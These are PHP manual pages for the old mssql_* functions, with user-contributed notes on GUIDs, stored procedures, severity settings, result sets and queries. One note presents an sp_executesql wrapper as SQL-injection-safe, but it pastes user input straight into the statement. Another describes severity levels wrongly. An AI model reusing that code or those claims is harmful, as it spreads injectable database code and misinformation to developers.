richard at alpinenetworking dot com 30-Jul-2001 11:31
To get a numeric error code from mssql you can do a select that looks something like "select @@ERROR as ErrorCode".

@@ERROR is a global variable that always contains the error code for the last SQL statement run on the current connection.  If there is no error, code will equal 0.

@@IDENTITY is another useful one to know.  It is the value of the last identity created (similar to MySQL's auto_increment field) and with this you can create a function that works like MySQL's mysql_insert_id() function.
06-Apr-2001 06:48
MS SQL doesn't set errors as mysql does. $php_error is set as a string that doesn't help at all. The error comes in form of a Warning, which isn't pretty. So what you can do is capture the output of the warning and create your own error message, something like this:

function treat_mssql_error($buffer) {
    $buffer=ereg_replace("<br>\n<b>Warning</b>:  MS SQL message:","<b>Error in query (SQL Server)</b>: ",$buffer);
    $buffer=explode("(severity",$buffer);
    return $buffer[0]."</font>";
}

function my_query($query,$cnx) {
    global $sql_error;
    ob_start();
    $result=mssql_query($query,$cnx);
    if(!$result)
    {
        $sql_error=treat_mssql_error(ob_get_contents());
        ob_end_clean();
        return false;
    }
    ob_end_clean();
    return true;
}

you can set treat_mssql_error() to fit your needs, and there u go. A personal error handler.


Converts a 16 byte binary GUID to a string

  • « mssql_get_last_message
  • mssql_init »
  • PHP Manual
  • Mssql Functions
  • Converts a 16 byte binary GUID to a string

mssql_guid_string

(PHP 4 >= 4.0.7, PHP 5, PECL odbtp >= 1.1.1)

mssql_guid_string — Converts a 16 byte binary GUID to a string

Description

string mssql_guid_string ( string $binary [, bool $short_format = false ] )

Converts a 16 byte binary GUID to a string.

Parameters

binary

A 16 byte binary GUID.

short_format

Whenever to use short format.

Return Values

Returns the converted string on success.

Examples

Example #1 mssql_guid_string() example

<?php
$binary = '19555081977808608437941339997619274330352755554827939936';

var_dump(mssql_guid_string($binary));
var_dump(mssql_guid_string($binary, true));
?>

The above example will output:

string(36) "35353931-3035-3138-3937-373830383630"
string(32) "31393535353038313937373830383630"

User Contributed Notes

Corvus Corax 19-Feb-2008 04:58
How can a binary GUID be identified as a binary GUID?

- mssql_field_type() returns 'blob' for GUID fields...

- mssql_guid_string() returns strings for all sort of arbitrary input data, regardless of length and content (though not all are necessarily valid GUID string represenations, since length varies)

- is_string() on GUID variables is true

therefore a mssql_is_guid() function would be a nice thing.

Unfortunately, there is very little that makes a GUID a GUID. Aside from the length of 16 bytes there are only 2 indicators (and even those only for microsoft system call compatibly generated GUIDs):

the upper 4 bits of character 7 encode the version of the GUID, and are either 0001 (v1) , 0011 v3), or 0100 (v4)
(ASCII characters 10 - 1f, 30 ('0') to 3f ('?') or 40 ('@') to 4f ('O'))
depending on the encoding version of the GUID.

GUIDs generated by mssql server 2005s "NEWID()" statement are version 4, indicating that the GUID is completely randomly generated

the upper 1 to 3 bits of character 8 which encode the GUID variant. In the case of GUIDs generated by MsSQL server 2005 the variant always seems to be 'Standard' which is indicated by bit sequence 10.
((non)ASCII characters 81 to BF)

so as long as no custom hacked or 3rd party inserted GUIDs are used this should be working:

<?php

    /**
     * determine wether binary data represents a valid GUID
     */
    function mssql_is_guid($guid)
    {
        if (!is_string($guid)) return false;
        if (strlen($guid)!=16) return false;
        $version=ord(substr($guid,7,1))>>4;
        // version 1 : Time-based version Uses timestamp, clock sequence, and MAC network card address
        // version 2 : Reserverd
        // version 3 : Name-based version Constructs values from a name for all sections
        // version 4 : Random version Use random numbers for all sections
        if ($version<1 || $version>4) return false;
        $typefield=ord(substr($guid,8,1))>>4;
        $type=-1;
        if (($typefield & bindec(1000))==bindec(0000)) $type=0; // type 0 indicated by 0??? Reserved for NCS (Network Computing System) backward compatibility
        if (($typefield & bindec(1100))==bindec(1000)) $type=2; // type 2 indicated by 10?? Standard format
        if (($typefield & bindec(1110))==bindec(1100)) $type=6; // type 6 indicated by 110? Reserved for Microsoft Corporation backward compatibility
        if (($typefield & bindec(1110))==bindec(1110)) $type=7; // type 7 indicated by 111? Reserved for future definition
        // assuming Standard type for SQL GUIDs
        if ($type!=2) return false;
        return true;

    }

$valid_guid='xxxxxxx'.'A'.chr(0xA2).'xxxxxxx';
if (mssql_is_guid($valid_guid)) $valid_guid=mssql_guid_string($valid_guid);
echo ($valid_guid);

?>

source:
http://msdn2.microsoft.com/en-us/library/aa446557.aspx
http://en.wikipedia.org/wiki/GUID
08-Jul-2005 05:52
php3 to php4 note

warning!
php4 handles MSSQL GUID like binaries values and not like a string as php3 used to do.
Even if you set  in your php.ini :
mssql.compatability_mode = On


Initializes a stored procedure or a remote stored procedure

  • « mssql_guid_string
  • mssql_min_error_severity »
  • PHP Manual
  • Mssql Functions
  • Initializes a stored procedure or a remote stored procedure

mssql_init

(PHP 4 >= 4.0.7, PHP 5, PECL odbtp >= 1.1.1)

mssql_init — Initializes a stored procedure or a remote stored procedure

Description

resource mssql_init ( string $sp_name [, resource $link_identifier ] )

Initializes a stored procedure or a remote stored procedure.

Parameters

sp_name

Stored procedure name, like ownew.sp_name or otherdb.owner.sp_name.

link_identifier

A MS SQL link identifier, returned by mssql_connect().

Return Values

Returns a resource identifier "statement", used in subsequent calls to mssql_bind() and mssql_execute(), or FALSE on errors.

Examples

Example #1 mssql_init() example

<?php
// Connect to MSSQL and select the database
$link = mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php', $link);

// Create a new statement
$stmt = mssql_init('StatementTest', $link);

// Bind values here

// Once values are binded we execute our statement
// using mssql_execute:
mssql_execute($stmt);

// And we can free it like so:
mssql_free_statement($stmt);
?>

See Also

  • mssql_bind() - Adds a parameter to a stored procedure or a remote stored procedure
  • mssql_execute() - Executes a stored procedure on a MS SQL server database
  • mssql_free_statement() - Free statement memory

User Contributed Notes

shrockc at NOinhs dot orgSPAM 09-Jul-2002 06:19
If you are performing a stored procedure inside a loop, it is a good idea to unset the variable that mssql_init returns so that you do NOT bind multiple values to the same stored procedure:

foreach($input  as $sid=>$value) {
  $stmt = mssql_init("sp_doSomething");
  mssql_bind($stmt, "@sid", $sid, SQLINT4, false);
  mssql_bind($stmt, "@value", $value, SQLINT4, false);
  $result = mssql_execute($stmt);
  unset($stmt);  // <---VERY important
}

Even doing the mssql_init outside the loop does not help because of the multiple binds happening inside the loop.

Failing to do the above generates "Access Violations...memory cannot be 'written'" errors on the server.  My hypothesis is that the error is generated when you try to bind to a stored procedure after it has already been executed.  You have been warned.
fjortizATcomunetDOTes 26-Dec-2001 01:58
this function was created to support
OUTPUT parameters and return values with
MSSQL stored procedures. Before this,
you could use T-SQL statement EXECUTE
and mssql_query to execute a stored
procedure, and it was fine as long as
you don't need to retrieve OUTPUT or
RETVAL values.

Now you can use this set of functions to execute and retrieve these values:
mssql_init
mssql_bind
mssql_execute

Parameters:
- sp_name : stored procedure name. It passes this string to a native DB-lib call, so I guess it supports all kinds of schemas (like "ownew.sp_name" or "otherdb.owner.sp_name")

- connection id: a connection resource
obtained with mssql_connect or similar.
If not provided, it will proceed just
like other similar mssql_* functions:
uses a default open connection or
creates a new one.

Return value: a resource id, called
"statement", used in subsequent calls to
mssql_bind and mssql_execute.

Note that many of the native MSSQL data types are directly supported, but I
think that some others must be converted
by other means (from varchar values for
example). These unsupported types are:

SQLMONEY4,SQLMONEY,SQLBIT,SQLDATETIM4,
SQLDATETIME, SQLDECIMAL, SQLNUMERIC,
SQLVARBINARY, SQLBINARY,SQLIMAGE

More info on supported types and new constants in mssql_bind


Sets the minimum error severity

  • « mssql_init
  • mssql_min_message_severity »
  • PHP Manual
  • Mssql Functions
  • Sets the minimum error severity

mssql_min_error_severity

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_min_error_severity — Sets the minimum error severity

Description

void mssql_min_error_severity ( int $severity )

Sets the minimum error severity.

Parameters

severity

The new error severity.

Return Values

No value is returned.

Examples

Example #1 mssql_min_error_severity() example

<?php
// Connect to MSSQL and select the database
mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php');

// Set the minimum error severity to not include SQL
// syntax errors by setting it to something greater than
// or equal to 1.
mssql_min_error_severity(1);

// Send a query we know that will cause an syntax error, in
// this case we use the MySQL quote signs instead of wrapping
// square brackets around the field and table names.
$query = mssql_query('SELECT `syntax`, `error` FROM `MSSQL`');

if (!$query) {
    // Custom error handler ...
}
?>

User Contributed Notes

Anonymous 17-Dec-2013 12:28
http://msdn.microsoft.com/en-us/library/ms164086.aspx
Daniel J. Coleman 04-Jul-2003 08:44
If you have not worked with MS SQL, severity is based on 5 levels.

Level 0:
The code contains a genuine error, and if executed, may not run as expected. For example, a syntax error or a reference to a non-existent method will cause a Level 0 error.

Level 1:
The code is syntactically correct, and has some defined meaning, but it may not be what the programmer was expecting. For example, a statement with no side effects such as x+1 will generate a Level 1 warning.

Level 2:
The code is correct but may cause problems in the future. For example, using deprecated features will generate a Level 2 warning.

Level 3:
The code is correct but may result in bad performance. For example, if type inferencing fails for a variable, a Level 3 warning will be issued.

Level 4:
The code is correct but there may be a better way to accomplish the same thing. For example, using a non-Common Language Specification (CLS) compliant method signature will generate a Level 4 warning.


Sets the minimum message severity

  • « mssql_min_error_severity
  • mssql_next_result »
  • PHP Manual
  • Mssql Functions
  • Sets the minimum message severity

mssql_min_message_severity

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_min_message_severity — Sets the minimum message severity

Description

void mssql_min_message_severity ( int $severity )

Sets the minimum message severity.

Parameters

severity

The new message severity.

Return Values

No value is returned.

Examples

Example #1 mssql_min_message_severity() example

<?php
// Connect to MSSQL
mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');

// Set the minimum message severity to 17, this
// will not show any messages issued by the underlaying
// API when we select a non-existent database below
mssql_min_message_severity(17);

// Select a non-existent database
mssql_select_db('THIS_DATABASE_DOES_NOT_EXISTS');
?>

The above example will output:

mssql_select_db(): Unable to select database:  THIS_DATABASE_DOES_NOT_EXISTS

User Contributed Notes

jotaylor at hightechinstitute dot edu 28-Dec-2006 06:24
The Severity Codes are:

10 - Status Message:Does not raise an error but returns a string.
11, 12, 13 - Not Used
14 - Informational Message
15 - Warning Message
16 - Critical Error: The Procedure Failed
VGR at edainworks dot com 03-Jun-2004 07:53
very useful function to prevent the silly "message: blah blah blah" lines issued by the DB layer.

Just set the level to 17 and mssql_select_db() will (at last) leave you alone ;-)


Move the internal result pointer to the next result

  • « mssql_min_message_severity
  • mssql_num_fields »
  • PHP Manual
  • Mssql Functions
  • Move the internal result pointer to the next result

mssql_next_result

(PHP 4 >= 4.0.5, PHP 5, PECL odbtp >= 1.1.1)

mssql_next_result — Move the internal result pointer to the next result

Description

bool mssql_next_result ( resource $result_id )

When sending more than one SQL statement to the server or executing a stored procedure with multiple results, it will cause the server to return multiple result sets. This function will test for additional results available form the server. If an additional result set exists it will free the existing result set and prepare to fetch the rows from the new result set.

Parameters

result_id

The result resource that is being evaluated. This result comes from a call to mssql_query().

Return Values

Returns TRUE if an additional result set was available or FALSE otherwise.

Examples

Example #1 mssql_next_result() example

<?php
// Connect to MSSQL and select the database
$link = mssql_connect('MANGO\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php', $link);

// Send a query to MSSQL
$sql = 'SELECT [name], [age] FROM [php].[dbo].[persons]';
$query = mssql_query($sql, $link);

// Iterate through returned records
do {
    while ($row = mssql_fetch_row($query)) {
        // Handle record ...
    }
} while (mssql_next_result($query));

// Clean up
mssql_free_result($query);
mssql_close($link);
?>

User Contributed Notes

il cartolaio 17-Nov-2010 10:47
As of today, this function is defined in FreeTDS (at least in the CVS version) and works perfectly with stored procedures.

Useful to avoid outer joins.
itsacon at itsacon dot net 26-Nov-2008 01:32
When retrieving multiple resultsets from a stored procedure, don't call mssql_free_statement on the statement resource, as any resultsets not yet retrieved will be lost, and mssql_next_result will report no more result sets were available.
mail_umesh at yahoo dot com 08-Dec-2003 02:40
you cant return multiple values from store proc but you can return multiple resultset, so you can use mssql_next_result()

eg..

    $stmt =  mssql_init("AuthLoginUser", $objDBH);
    mssql_bind($stmt,"@LoginUser",$LoginUser,SQLVARCHAR);
    mssql_bind($stmt,"@Password",$strNewPassword,SQLVARCHAR);
    mssql_bind($stmt,"@SessionId",$SessionId,SQLVARCHAR);
    //mssql_bind($stmt,"@ReturnVal",$ReturnVal,SQLVARCHAR,True);
    $rs=mssql_execute($stmt);

    do {
        while ($row = mssql_fetch_row($rs)) {
            echo "$row[0] -- $row[1]<BR>";
        }
    } while (mssql_next_result($rs));
    mssql_free_result($rs);
gagarin[at]i-dep.com 09-Dec-2002 05:39
It seems that mssql_next_result does not work with result sets returned by stored procedures.
m1tk4 at hotmail dot com 28-Jun-2002 05:43
This function does not exist as a Sybase (Sybase-CT) alias, so if you have PHP+FreeTDS||Sybase as a MSSQL client on Unix platform, it will not work.


Gets the number of fields in result

  • « mssql_next_result
  • mssql_num_rows »
  • PHP Manual
  • Mssql Functions
  • Gets the number of fields in result

mssql_num_fields

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_num_fields — Gets the number of fields in result

Description

int mssql_num_fields ( resource $result )

mssql_num_fields() returns the number of fields in a result set.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

Return Values

Returns the number of fields, as an integer.

Examples

Example #1 mssql_num_fields() example

<?php
// Connect to MSSQL and select the database
$link = mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php', $link);

// Select some data from our database
$data = mssql_query('SELECT [name], [age] FROM [php].[dbo].[persons]');

// Construct a table
echo '<table border="1">';

$header = false;

// Iterate through returned results
while ($row = mssql_fetch_array($data)) {
    // Build the table header
    if (!$header) {
        echo '<thead>';
        echo '<tr>';

        for ($i = 1; ($i + 1) <= mssql_num_fields($data); ++$i) {
            echo '<td>' . ucfirst($row[$i]) . '</td>';
        }

        echo '</tr>';
        echo '</thead>';
        echo '<tbody>';

        $header = true;
    }

    // Build the row
    echo '<tr>';

    foreach($row as $value) {
        echo '<td>' . $value . '</td>';
    }

    echo '</tr>';
}

// Close table
echo '</tbody>';
echo '</table>';

// Clean up
mssql_free_result($data);
mssql_close($link);
?>

See Also

  • mssql_query() - Send MS SQL query
  • mssql_fetch_field() - Get field information
  • mssql_num_rows() - Gets the number of rows in result

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of rows in result

  • « mssql_num_fields
  • mssql_pconnect »
  • PHP Manual
  • Mssql Functions
  • Gets the number of rows in result

mssql_num_rows

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_num_rows — Gets the number of rows in result

Description

int mssql_num_rows ( resource $result )

mssql_num_rows() returns the number of rows in a result set.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

Return Values

Returns the number of rows, as an integer.

Examples

Example #1 mssql_num_rows() example

<?php
// Connect to MSSQL and select the database
$link = mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php');

// Select all our records from a table
$query = mssql_query('SELECT * FROM [php].[dbo].[persons]');

echo 'Total records in database: ' . mssql_num_rows($query);

// Clean up
mssql_free_result($query);
?>

See Also

  • mssql_query() - Send MS SQL query
  • mssql_fetch_row() - Get row as enumerated array

User Contributed Notes

h dot schuemann at cyquest-ag dot de 13-Nov-2000 07:13
For getting something like "mssql_affected_rows" call:

<?php
$rsRows = mssql_query("select @@rowcount as rows", $db);
$rows = mssql_result($rsRows, 0, "rows");
?>

after execution of the query (UPDATE, INSERT or DELETE).


Open persistent MS SQL connection

  • « mssql_num_rows
  • mssql_query »
  • PHP Manual
  • Mssql Functions
  • Open persistent MS SQL connection

mssql_pconnect

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_pconnect — Open persistent MS SQL connection

Description

resource mssql_pconnect ([ string $servername [, string $username [, string $password [, bool $new_link = false ]]]] )

mssql_pconnect() acts very much like mssql_connect() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, username and password. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (mssql_close() will not close links established by mssql_pconnect()).

This type of links is therefore called 'persistent'.

Parameters

servername

The MS SQL server. It can also include a port number. e.g. hostname:port.

username

The username.

password

The password.

new_link

If a second call is made to mssql_pconnect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned. This parameter modifies this behavior and makes mssql_pconnect() always open a new link, even if mssql_pconnect() was called before with the same parameters.

Return Values

Returns a positive MS SQL persistent link identifier on success, or FALSE on error.

Examples

Example #1 mssql_pconnect() using the new_link parameter

<?php
// Connect to MSSQL and select the database
$link1 = mssql_pconnect('MANGO\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php', $link1);

// Create a new link
$link2 = mssql_pconnect('MANGO\SQLEXPRESS', 'sa', 'phpfi', true);
mssql_select_db('random', $link2);
?>

User Contributed Notes

kagaku at gmail dot com 03-May-2012 03:47
Be careful when utilizing mssql_pconnect to connect to multiple databases on the same server using different credentials. For example:

<?php
/* first connection */
$conn1 = mssql_pconnect('production-server','sa','1234');
mssql_select_db($conn1,'invoicelistdb');

$row = mssql_query('select top 10 * from invoices', $conn1);

/* open another connection, same server different */
$conn2 = mssql_pconnect('production-server','loweruser','6789');
mssql_select_db($conn2,'someotherdb');

?>

Results in the error:

PHP Warning:  mssql_select_db(): Unable to select database:  someotherdb

I suspect mssql_pconnect detects a connect opened to "production-server" and just re-uses it, regardless of whether or not the credentials are the same. We did not notice this until consolidating two different MSSQL servers onto one server with two databases with different users/permissions. Reverting back to mssql_connect() solves the problem.
php at burntpopcorn dot net 11-Mar-2004 03:17
Please note that mssql_pconnect creates a connection for the pool for *each process*. If you have "ThreadsPerChild" set to 50 in apache, and mssql.max_procs set to 25 in php, then eventually you will get mssql_pconnect failing to give you a connection to the database. This has stumped me for quite a while, and the answer finally presented itself thanks to the people in #php.
dave at dontspamme dot com 10-Feb-2004 11:32
If you are running PHP/Apache combination on a Windows machine that is part of a domain, using NT Authentication to connect to a MS SQL Server, you must to do the following things:

1) Turn NT Authentication On (under MSSQL in php.ini)
2) Configure the Apache service to run as the user that is authorized to access the MS SQL server.

Hope this helps save someone the time that it took me to track down!
m1tk4 at hotmail dot com 17-Jul-2002 06:08
Be careful with pconnect!

Platform: RH Linux 7.3, PHP 4.2.1. FreeTDS.

pconnect does give you better time than connect (about 0.25-0.4 seconds gain) BUT:

- occasionally, I've experienced "quirks" when fetch() would randomly return empty recordsets from stored procedurest that can_not return empty recordsets by definition.

- if you restart MSSQL server while some of the connections did not time out, next pconnect() will not establish a new connection! It will return an old one, so next time you do execute() or query() your script will just _hang_ until timeouted by Apache.

All of the above I believe are FreeTDS problems, not PHP. I wonder if somebody with PHP+Sybase lib got pconnect to work.
php at rawhide dot cjb dot net 12-Jul-2001 03:18
One should not that persistent connections are not persistent under a CGI interface.


Send MS SQL query

  • « mssql_pconnect
  • mssql_result »
  • PHP Manual
  • Mssql Functions
  • Send MS SQL query

mssql_query

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_query — Send MS SQL query

Description

mixed mssql_query ( string $query [, resource $link_identifier [, int $batch_size = 0 ]] )

mssql_query() sends a query to the currently active database on the server that's associated with the specified link identifier.

Parameters

query

An SQL query.

link_identifier

A MS SQL link identifier, returned by mssql_connect() or mssql_pconnect().

If the link identifier isn't specified, the last opened link is assumed. If no link is open, the function tries to establish a link as if mssql_connect() was called, and use it.

batch_size

The number of records to batch in the buffer.

Return Values

Returns a MS SQL result resource on success, TRUE if no rows were returned, or FALSE on error.

Examples

Example #1 mssql_query() example

<?php
// Connect to MSSQL
$link = mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');

if (!$link || !mssql_select_db('php', $link)) {
    die('Unable to connect or select database!');
}

// Do a simple query, select the version of
// MSSQL and print it.
$version = mssql_query('SELECT @@VERSION');
$row = mssql_fetch_array($version);

echo $row[0];

// Clean up
mssql_free_result($version);
?>

Notes

Note:

If the query returns multiple results then it is necessary to fetch all results by mssql_next_result() or free the results by mssql_free_result() before executing next query.

See Also

  • mssql_select_db() - Select MS SQL database
  • mssql_connect() - Open MS SQL server connection

User Contributed Notes

andy at atcri dot com 18-Feb-2014 05:17
Escaping the apostrophe with a blind preg_replace or str_replace may cause exponential growth of apostrophes -- especially if magic quotes are enabled or passed values may already be escaped.

While not foolproof, this does address the problem:

if (preg_match("/\'/", preg_replace("/\'\'/", "", $str))) {
  $str = preg_replace("/\'/", "''", $str);
}
Haprog 20-Dec-2011 05:10
In some cases when mssql_query() returns rows containing fields of type SMALLDATETIME or TIMESTAMP when the data is not NULL, PHP seems to enter some kind of error state where PHP no longer outputs anything to the browser. Not even data echoed before the query! DATETIME fields seem to work without this problem though.

When this happens, PHP doesn't give any errors even with error_reporting(-1), and no errors appear in Apache logfiles either.

There seems to be a workaround by explicitly calling flush() at the end of the skript.

In my case the problem occurred only when using some basic comparison operators for integer or string fields in a WHERE clause (eg. "WHERE id = 1000").

I discovered this behaviour on Ubuntu 11.10 (Linux 3.0.0-13-generic-pae), Apache 2.2.20, PHP 5.3.6-13ubuntu3.3 with Suhosin-Patch as Apache module, php5-mssql package using freetds
MSSQLNewbie 19-Sep-2011 10:34
Here are some things you might need to know:
1. Install mssql support for Debian (Lenny/Squeeze):
apt-get install php5-sybase

2. When you got this error message:
"Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier."

In /etc/freetds/freetds.conf add these two lines (last two):
[global]
;tds version = 4.2
tds version = 8.0
client charset = UTF-8

You can edit "charset" in php.ini too (but you don't need if you did it previously in freetds.conf):
; Specify client character set..
; If empty or not set the client charset from freetds.comf is used
; This is only used when compiled with FreeTDS
mssql.charset = "UTF-8"

3. Use nchar/nvarchar/ntext column types if you need unicode support.
vavra at 602 dot cz 30-Aug-2011 02:35
The scenario with adding SELECT SCOPE_IDENTITY after INSERT works. But in my a little bit complicated schema I got false when I called sqlsrv_fetch(.)

I modified reading SCOPE_IDENTITY as: "Read the last integer value obtained".

I suppose this is because I have several triggers that makes also insert after main insert call and sql server returns number of affected rows in Sql Management Studio). In php it returns only false when fetch called. So I must jump over all this 'false' rows.

<?php
$resource = sqlsrv_query($con, 'INSERT....; SELECT SCOPE_IDENTITY()');

$scope_identity =null;
while ( sqlsrv_next_result($resource) )
{
        $fr = sqlsrv_fetch($resource);
        if ($fr===false)
       {
          continue;
        }

        $colval = sqlsrv_get_field($resource, 0, SQLSRV_PHPTYPE_INT);
        if (is_int($colval))
       {
          $scope_identity=$colval;
        }

}
?>
Wilfur 04-Jun-2011 05:19
I had this problem upgrading to sqlsrv from mssql. In short, SCOPE_IDENTITY doesn't seem to work with sqlsrv correctly when using parameters. This isn't in fact the case, it just works differently.

To recap the problem:

Table 'test' definitely has an identity column id. However you can not do (apologies for pseudo-code):

<?php
doquery("INSERT INTO test (col1, col2) VALUES (?,?)", $parameters);
$lastId=doquery("SELECT SCOPE_IDENTITY()");
?>

because, under sqlsrv, these two queries are in different scopes, so there is nothing to return... However, this also doesn't work as expected:

<?php
$query = "INSERT INTO test (col1, col2) VALUES (?,?); SELECT SCOPE_IDENTITY()";
$arrParams[]="1";
$arrParams[]="2";
$resource=sqlsrv_query($conn, $query, $arrParams);
$arrRow = sqlsrv_fetch_array($resource, SQLSRV_FETCH_ASSOC);
echo $arrRow[0];
?>

Here you might expect to see the last insert id, but you see nothing. This is because the resource is currently pointing to the 'true' from the first query (the insert query) and so the insert id is 'hidden' in another row of the resource.

Solution.... set up as before, but then:

<?php
$resource=sqlsrv_query($conn, $query, $arrParams);
sqlsrv_next_result($resource);
sqlsrv_fetch($resource);
echo sqlsrv_get_field($resource, 0);
?>

This will give you what you want! This will work similarly with something like "INSERT INTO test (col1, col2) VALUES (?,?); SELECT * from test WHERE ID = SCOPE_IDENTITY()" and again you have to move through the resource to get at the data you want.

I hope this helps someone, since it's just wasted a good two hours of my time! Also, sorry for any errors in the code - I'm afraid I've written it off the top of my head, but hopefully you get the idea...
timo dot sand at ipss dot fi 30-Nov-2010 02:18
It would seem that this returns a resource even if the query is a SELECT which returns 0 rows.
alpa at 33oxclove dot com 02-Sep-2010 06:06
Hi All,
I was trying to insert PDF in MSSQL image datatype and had a worst time figuring out how to add PDF without encoding it with base64_encode. Encoding/decoding works best but it was conflicting with other existing PDFs in database as they weren't encoded.
The solution is to create hex string and the Trick is *NOT* to use quotes in query.

<?php
$FileName = $_FILES['pdffile']['tmp_name'];
$dataString = file_get_contents($FileName );
$arrData = unpack("H*hex", $dataString);
$hexdata = "0x".$arrData['hex'];
?>

Query:
$sql = "insert into docs(pdfname, pdfdoc) values('$pdfname', $hexdata)

Hope this helps to someone.... Cheerzz
ianknapton at hotmail dot com 07-Jul-2010 02:59
I have a mssql database with an ntext data type and was having problems as the cast solution data was still being truncated by php, i combined a couple of methods from here and elsewhere on the internet.

If you have are retrieving vast amounts of text from a SQL Server database into your website.

use SQl statements using cast e.g.
SELECT CAST(details as TEXT) from table

and in the php.ini file change these values in the [mssql] section, from 4096 to whatever size and limit, remember to remove the ; from the front of the ammended line

; Valid range 0 - 2147483647.  Default = 4096.
mssql.textlimit = 2147483647

; Valid range 0 - 2147483647.  Default = 4096.
mssql.textsize = 2147483647
sreekumar kv 12-May-2010 09:18
If text fields from mssql SELECT queries are truncated (at 4096 characters), even after using ,
<?php
ini_set ( 'mssql.textlimit' , '65536' );
ini_set ( 'mssql.textsize' , '65536' );
?>

make sure that the ini_set function is used before the connection to the database is established.
Anonymous 16-Feb-2010 10:37
Regarding the problems mentioned on here with the format that datetime columns are returned in. Running on debian lenny and used apt-get install php5-sybase to get access to these functions. After which datetime fields were returned as a string something like 'Feb 16 2010 09:14:10:010AM' which was not recognised when passed to e.g. new DateTime(). Also smalldatetime fields caused php to crash.

To fix I did this:

vi /etc/php5/apache2/php.ini
After this line:
;mssql.datetimeconvert = On
Add this line:
mssql.datetimeconvert = Off

Now both datetime and smalldatetime come back as something like '2010-02-16 09:14:00'.
TheronP 01-Feb-2010 02:44
To avoid SQL Injection, if you want to have multiple named parameters without writing stored procedures you can use built in stored procedure sp_executesql and mssql_query:

<?php
//Returns records with Id#46 or first name starting with 'Mary'

$server = '127.0.0.1';
$link = mssql_connect($server, 'sql_user', 'sql_user_pass');

//Select DB
$dbn = 'dbName';
mssql_select_db($dbn);

//input variables
$name='Mary%';
$id=46;

//necesssary for stored procedure
$params="@name varchar(50),@id int";
$paramslist="@name='$name%',@id='$id'";

$sql = "select FirstName,LastName,EmpId from employees where FirstName like  @name or EmpId = @id  " ;

$dbsql = "EXEC sp_executesql
          N'$sql',
          N'$params',
          $paramslist";

//important to have the "N'" !

$result=mssql_query($dbsql,$link);
?>

for more info on sp_executesql go here:
http://msdn.microsoft.com/en-us/library/ms188001.aspx

works on MSSQL 2000,2005,2008
dann dot farquhar at iteams dot org 25-Sep-2009 03:45
Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library

I found that changing the version in /etc/freetds.conf from 4.2 to 8.0 fixes this problem without having to make any changes to the SELECT statement
thewiglaf at gmail dot com 14-May-2009 03:59
Note that although the documentations states that mssql_query will return "TRUE if no rows were returned", it will still return an empty resource identifier for SELECT statements that do not return any rows. This empty resource identifier will get dynamically typed as TRUE in a boolean context. Only for queries that do not actually return rows (eg. insert, update, or delete) will mssql_query return an actual boolean TRUE value.

We should use mssql_num_rows($resource) rather than $resource===TRUE for checking whether rows were returned.
sergio dot charrua at gmail dot com 11-Mar-2009 03:53
hello all!

here's a tip for those of you that, just like me, had some problems on how to get values from a call to a Stored Procedure that returns Multiple Recordsets.

<?php
conn = mssql_connect($server, $user, $pass, $db);
$sql ="EXEC WhateverSProcYouWant some_arguments";
$data = mssql_query( $sql, $conn);
$result = array();

do {
    while ($row = mssql_fetch_object($data)){
        $result[] = $row;
    }
}while ( mssql_next_result($data) );

mssql_close($conn);
?>

this will create 2 loops:
1 - which loops through all returned recordsets. mssql_next_result will step through each recordsets
2 - this inner-loop will return all rows, as objects, from current recordset and add each object to the $result array.

and that's it!

HTH, has i haven't found any info/docs related to multiple recordsets
orbex1 at gmail dot com 16-Jun-2008 02:16
Hopes this saves somebody the hassle I had to go through...
Was struggling with an M$sql database which was poorly designed (no Identity-colums), so I had to find a way to get the last id inserted...
Also struggled with the chars a while ;-)

$sql = "SELECT cast(AD_GUID as varchar(36)) FROM test_adres;";
//execute the SQL query and return records to find insertID
$result = mssql_query($sql) or die("MS-Query Error in select-query");
$max = (mssql_num_rows($result)-1);
mssql_data_seek($result, $max);
$row = mssql_fetch_row($result);
$insert_id = $row[0];

Hope this will help somebody in the future...
mikelasouris at yahoo dot com 03-May-2008 05:27
Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library

solution:
try: select field from table, avoid "select * from table" php will scream at you. strangely after executing select field from table you'll be able to execute select * from table.

i'm using apache2, win XP, sqlexpress05
hpainter at gmail dot com 29-Apr-2008 05:05
I was tripped up by the fact that mssql_query() returns values for 'datetime' columns in an unusual format.   In order to get your values returned in the usual 'YYYY-MM-DD HH:MM:SS' format, you can use the CONVERT function in your query like so:

SELECT CONVERT(varchar, INVOICE_DATE, 121) AS INVOICE_DATE ...

where 'INVOICE_DATE' is the name of the 'datetime' column.  The available datetime conversion formats are listed here:

http://msdn2.microsoft.com/en-us/library/aa226054(SQL.80).aspx
bellina at uiuc dot edu 03-Dec-2007 09:32
After much fighting with my php5 installation and FreeTDS I figured out why my SELECT of an ntext field was truncating to a value.

This can be changed in the FreeTDS config file. Look for "text size"... this should be commented out. Uncomment it and set the value to something, this will let your ntext through.

Hope this helps
sbaetz at soscs dot net 07-Nov-2007 09:36
-- Phew -- I answered this myself...

The problem had NOTHING to do with mssql, or mysql for that matter.

